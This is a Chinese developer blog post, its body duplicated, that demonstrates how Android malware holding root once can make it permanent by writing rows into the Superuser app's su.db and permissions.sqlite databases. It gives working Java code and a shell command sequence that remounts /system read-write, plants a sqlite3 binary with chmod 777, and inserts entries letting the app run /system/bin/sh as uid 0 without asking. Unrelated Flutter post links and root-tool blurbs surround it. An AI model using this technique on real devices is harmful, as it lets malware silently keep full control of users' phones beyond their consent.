- 浏览: 2211156 次
- 性别:
- 来自: 北京
文章分类
- 全部博客 (1240)
- mac/IOS (287)
- flutter (1)
- J2EE (115)
- android基础知识 (582)
- android中级知识 (55)
- android组件(Widget)开发 (18)
- android 错误 (21)
- javascript (18)
- linux (70)
- 树莓派 (18)
- gwt/gxt (1)
- 工具(IDE)/包(jar) (18)
- web前端 (17)
- java 算法 (8)
- 其它 (5)
- chrome (7)
- 数据库 (8)
- 经济/金融 (0)
- english (2)
- HTML5 (7)
- 网络安全 (14)
- 设计欣赏/设计窗 (8)
- 汇编/C (8)
- 工具类 (4)
- 游戏 (5)
- 开发频道 (5)
- Android OpenGL (1)
- 科学 (4)
- 运维 (0)
- 好东西 (6)
- 美食 (1)
最新评论
-
liangzai_cool:
请教一下,文中,shell、C、Python三种方式控制led ...
树莓派 - MAX7219 -
jiazimo:
...
Kafka源码分析-序列5 -Producer -RecordAccumulator队列分析 -
hp321:
Windows该命令是不是需要安装什么软件才可以?我试过不行( ...
ImageIO读jpg的时候出现javax.imageio.IIOException: Unsupported Image Type -
hp321:
Chenzh_758 写道其实直接用一下代码就可以解决了:JP ...
ImageIO读jpg的时候出现javax.imageio.IIOException: Unsupported Image Type -
huanghonhpeng:
大哥你真强什么都会,研究研究。。。。小弟在这里学到了很多知识。 ...
android 浏览器
导读:本文介绍病毒如何篡改superuser,使得用户只是允许病毒请求的一次root权限变成允许病毒永久使用root权限。
有同学说,你的Fake.apk需要把应用copy到system下才行,这是需要root权限的。如果用户允许了你一次root请求,你当着用户的面copy,那么copy之后,系统会发送广播,告知有新的apk被安装,杀毒软件就会发现你。
是的,这确实是个问题,但是病毒就是病毒,总会想办法让你病倒的,别急。
superuser把数据记录到数据库中,那病毒为什么不去修改你的数据库呢?如果修改成功,那么岂不是永久获得了root权限,以后再也用不着你来批准我了,我自己批准!
很不幸,病毒如果获得了一次root权限,那么上面所说的事情是完全可以做到的。
我们来演示一下,我手机中装有superuser,版本为3.0.7
我还装了一个re管理器
首先,我们打开re管理器,这时候re管理器请求使用root权限,superuser会弹出提示,询问用户是否允许
我们点击允许之前,勾选“记住”,然后允许。
这一步是为了获取:应用获得永久root权限时,应该在superuser数据库插入什么样的数据。
然后我们将数据库导出
/data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注
su.db
permissions.sqlite
我们以permissions.sqlite为例,下图为表结构:
然后来看看病毒应该如何修改数据
病毒只需要关心几个字段
uid,包名,应用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1
病毒如何获得自己的包名和应用名,这个大家没什么疑问吧
ActivityManager.RunningAppProcessInfo中含有uid的信息
下面的代码可以获得当前应用的uid
好了,这个表已经搞定了,su.db和这个几乎一样,也就不再演示了。
最后的问题是,如何修改手机中的数据库,显然,我们使用sqlite3,但是有的手机居然没有这个问题,所以病毒很可能自己捆绑了一个,然后复制到system/bin或者system/xbin中
sqlite3从哪来?哪都有。。比如你可以从模拟器pull出来一份。
好了,全部搞定了
最终我们分两步
1准备sqlite3这个文件,以防万一
2申请root权限,一旦成功,那就修改数据库
执行即可
从此,病毒就脱离你的掌控了,一发不可收拾
看来大家每次批准root之后,还要去superuser中的列表看看有没有什么异常才行
有同学说,你的Fake.apk需要把应用copy到system下才行,这是需要root权限的。如果用户允许了你一次root请求,你当着用户的面copy,那么copy之后,系统会发送广播,告知有新的apk被安装,杀毒软件就会发现你。
是的,这确实是个问题,但是病毒就是病毒,总会想办法让你病倒的,别急。
superuser把数据记录到数据库中,那病毒为什么不去修改你的数据库呢?如果修改成功,那么岂不是永久获得了root权限,以后再也用不着你来批准我了,我自己批准!
很不幸,病毒如果获得了一次root权限,那么上面所说的事情是完全可以做到的。
我们来演示一下,我手机中装有superuser,版本为3.0.7
我还装了一个re管理器
首先,我们打开re管理器,这时候re管理器请求使用root权限,superuser会弹出提示,询问用户是否允许
我们点击允许之前,勾选“记住”,然后允许。
这一步是为了获取:应用获得永久root权限时,应该在superuser数据库插入什么样的数据。
然后我们将数据库导出
/data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注
su.db
permissions.sqlite
我们以permissions.sqlite为例,下图为表结构:
然后来看看病毒应该如何修改数据
病毒只需要关心几个字段
uid,包名,应用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1
病毒如何获得自己的包名和应用名,这个大家没什么疑问吧
ActivityManager.RunningAppProcessInfo中含有uid的信息
下面的代码可以获得当前应用的uid
public static int getUid(Context context,String packageName){ ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses(); int size = runningAppProcesses.size(); ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null; for (int i = 0; i < size; i++) { runningAppProcessInfo = runningAppProcesses.get(i); if(packageName.equals(runningAppProcessInfo.processName)){ return runningAppProcessInfo.uid; } } return -1; }
好了,这个表已经搞定了,su.db和这个几乎一样,也就不再演示了。
最后的问题是,如何修改手机中的数据库,显然,我们使用sqlite3,但是有的手机居然没有这个问题,所以病毒很可能自己捆绑了一个,然后复制到system/bin或者system/xbin中
sqlite3从哪来?哪都有。。比如你可以从模拟器pull出来一份。
好了,全部搞定了
最终我们分两步
1准备sqlite3这个文件,以防万一
prepareButton.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { File dataFolder = getFilesDir(); File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3"); copyFile("db/sqlite3", sqlite, mResources); } });
2申请root权限,一旦成功,那就修改数据库
String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" + "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) "; String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " + "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") "; String[] commands = {"busybox mount -o remount,rw /system" ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3" ,"busybox rm /data/data/" + packageName + "/files/sqlite3" ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'" ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};
执行即可
从此,病毒就脱离你的掌控了,一发不可收拾
看来大家每次批准root之后,还要去superuser中的列表看看有没有什么异常才行
发表评论
-
带你深入理解 FLUTTER 中的字体“冷”知识
2020-08-10 23:40 649本篇将带你深入理解 Flutter 开发过程中关于字体和文 ... -
Flutter -自定义日历组件
2020-03-01 17:56 1122颜色文件和屏幕适配的文件 可以自己给定 import ... -
Dart高级(一)——泛型与Json To Bean
2020-02-23 19:13 1016从 Flutter 发布到现在, 越来越多人开始尝试使用 Da ... -
flutter loading、Progress进度条
2020-02-21 17:03 1194Flutter Progress 1 条形无固定值进度条 ... -
Flutter使用Https加载图片
2020-02-21 01:39 1037Flutter使用Https加载图片 使用http加载图片出 ... -
flutter shared_preferences 异步变同步
2020-02-21 00:55 856前言 引用 在开发原生iOS或Native应用时,一般有判断上 ... -
Flutter TextField边框颜色
2020-02-19 21:31 948监听要销毁 myController.dispose(); T ... -
flutter Future的正确用法
2020-02-18 21:55 812在flutter中经常会用到异步任务,dart中异步任务异步处 ... -
记一次Flutter简单粗暴处理HTTPS证书检验方法
2020-02-18 14:13 992最近在做Flutter项目到了遇到一个无解的事情,当使用Ima ... -
flutter 获取屏幕宽度高度 通知栏高度等屏幕信息
2019-07-27 08:39 1356##MediaQuery MediaQuery.of(con ... -
关于flutter RefreshIndicator扩展listview下拉刷新的问题
2019-07-10 19:40 1149当条目过少时listview某些嵌套情况下可能不会滚动(条目 ... -
flutter listview 改变状态的时候一直无限添加
2019-07-10 16:01 808setstate的时候会一直无限的调用listview.bui ... -
Flutter Android端启动白屏问题的解决
2019-07-09 00:51 1538问题描述 Flutter 应用在 Android 端上启动时 ... -
Flutter中SnackBar使用
2019-07-08 23:43 792底部弹出,然后在指定时间后消失。 注意: build(Bui ... -
Flutter 之点击空白区域收起键盘
2019-07-08 18:43 1799点击空白处取消TextField焦点这个需求是非常简单的,在学 ... -
Flutter 弹窗 Dialog ,AlertDialog,IOS风格
2019-07-08 18:04 1393import 'package:flutter/mate ... -
flutter ---TextField 之 输入类型、长度限制
2019-07-08 14:30 2354TextField想要实现输入类型、长度限制需要先引入impo ... -
【flutter 溢出BUG】键盘上显示bottom overflowed by 104 PIXELS
2019-07-08 11:13 1588一开始直接使用Scaffold布局,body:new Colu ... -
解决Flutter项目卡在Initializing gradle...界面的问题
2019-07-07 12:53 891Flutter最近很火,我抽出了一点时间对Flutter进行了 ... -
关于android O 上 NotificationChannel 的一些注意事项
2019-07-04 11:47 947最近在适配android O,遇到个问题,应用中原本有设置界面 ...
相关推荐
标题提到的"android手机root检测"是指检查Android设备是否已经获取了root权限的过程。这个过程对于应用开发者和安全专家来说尤其重要,因为他们需要确保其应用不会在被root的设备上运行,因为这可能会导致数据泄露或...
NULL 博文链接:https://su1216.iteye.com/blog/1668734
5. **恢复方法**:如果修改后出现问题,可以尝试恢复备份的系统镜像,或者使用一些Root管理工具如SuperSU或Magisk进行系统还原。如果设备因错误修改而无法启动,可能需要通过fastboot模式或ODIN工具刷入新的系统固件...
【中兴U880 Android手机root工具 SuperOneClick】是一种专门为中兴U880智能手机设计的便捷Root工具,其主要目标是帮助用户获取设备的最高管理权限,即所谓的Root权限。在Android系统中,Root权限相当于Windows系统中...
这是一个工具,帮你获取android手机的root权限。让你不受控制,当然,这可能也给你手机带来一些安全问题,所以请慎重。
由于Android系统的安全机制,大多数应用程序没有root权限,因此不能直接使用tcpdump工具进行抓包。然而,通过一些特殊的技术手段,我们可以在非root的Android设备上实现抓包功能。 首先,理解tcpdump的运行需求。...
【标题】"索尼Android手机无痛root"涉及的是在不造成设备损坏或数据丢失的情况下,对索尼Android手机进行超级用户权限获取的过程。Root是Android系统中的一个术语,它指的是允许用户获得系统的最高权限,以便可以...
Android手机获取root权限是许多高级用户为了更深度定制和优化设备所采取的步骤。Root权限类似于Linux系统中的超级管理员账户,允许用户访问和修改手机的底层文件,包括系统核心和设置。这种权限通常由手机制造商限制...
下面我们将详细探讨Android手机终端上的root用户命令合辑及其用法。 1. **获取Root权限**:首先,获取root权限是整个过程的基础。这通常需要通过第三方工具或服务,如Magisk、SuperSU等。每个工具都有其特定的流程...
在Android操作系统的世界里,"root"一词代表着...root后,手机的安全性可能会降低,容易受到恶意软件攻击。此外,root可能违反手机厂商的保修政策,导致保修失效。因此,在决定root前,请充分了解其利弊,谨慎操作。
3. **安全更新**: 获取root权限后,可能无法接收官方的安全更新,需要自行保持警惕,防范潜在的安全威胁。 4. **恢复出厂设置**: 如果root过程失败或遇到问题,可能需要将设备恢复出厂设置,这将清除所有数据。 ...
Android手机的ROOT权限是一个关键的概念,尤其对于那些喜欢深入探索和自定义设备的用户来说。在Android系统中,"ROOT"是指获取手机操作系统最高级别的权限,相当于Linux系统中的超级管理员用户账户,也就是root用户...
在Android操作系统中,获取root权限是一项关键操作,它允许用户超越默认的系统限制,访问和修改系统的底层组件。...对于想要深入定制手机或解决特定问题的用户,掌握如何安全有效地获取和管理root权限至关重要。
现在,我们来看判断Android手机是否已Root的三种方法: 1. **检查已知Root应用是否存在**:这种方法简单直接,通过查找已知的Root管理应用(如SuperSU、Magisk等)的系统文件或服务来判断。例如,可以检查/system/...
5. **后root维护**:成功root后,用户应安装一个如SuperSU这样的管理应用来控制各个应用的root权限,并定期更新以防止已知的安全漏洞。 6. **恢复原状**:如果用户不再需要root权限或遇到问题,可以通过unroot工具...
### Android手机获取Root权限教程详解 #### Root权限概念与重要性 **Root权限**,对于Android设备来说,意味着用户能够获得对其操作系统最高级别的控制权。这一权限赋予了用户修改或替换设备操作系统的能力,几乎...
三、一加手机ROOT的风险与注意事项 1. 安全隐患:ROOT后,系统更容易受到恶意软件攻击,因为攻击者可以利用系统漏洞。 2. 保修失效:大多数厂商不支持ROOT设备,可能会影响保修服务。 3. 系统稳定性:不恰当的...
【KSP8000手机Root详解】 Root是Android系统中的一个术语,指的是获取设备的最高权限,类似于Windows系统的管理员权限。Root后,用户可以访问并修改系统级别的文件,安装自定义固件、删除预装应用,优化系统性能,...
【华为手机root软件】 华为手机root工具是一种专为华为设备设计的软件,旨在获取手机的最高权限,即root权限。root是Android系统中的一个概念,代表着用户能够对系统进行深层次的定制和修改,不受厂商预装应用和...
这篇"Android ROOT教程"旨在帮助安卓手机用户了解并实现ROOT权限的获取。 首先,我们要明确ROOT的风险。虽然ROOT可以带来诸多便利,如删除预装应用、优化电池性能等,但也可能导致系统不稳定,甚至丢失保修。因此,...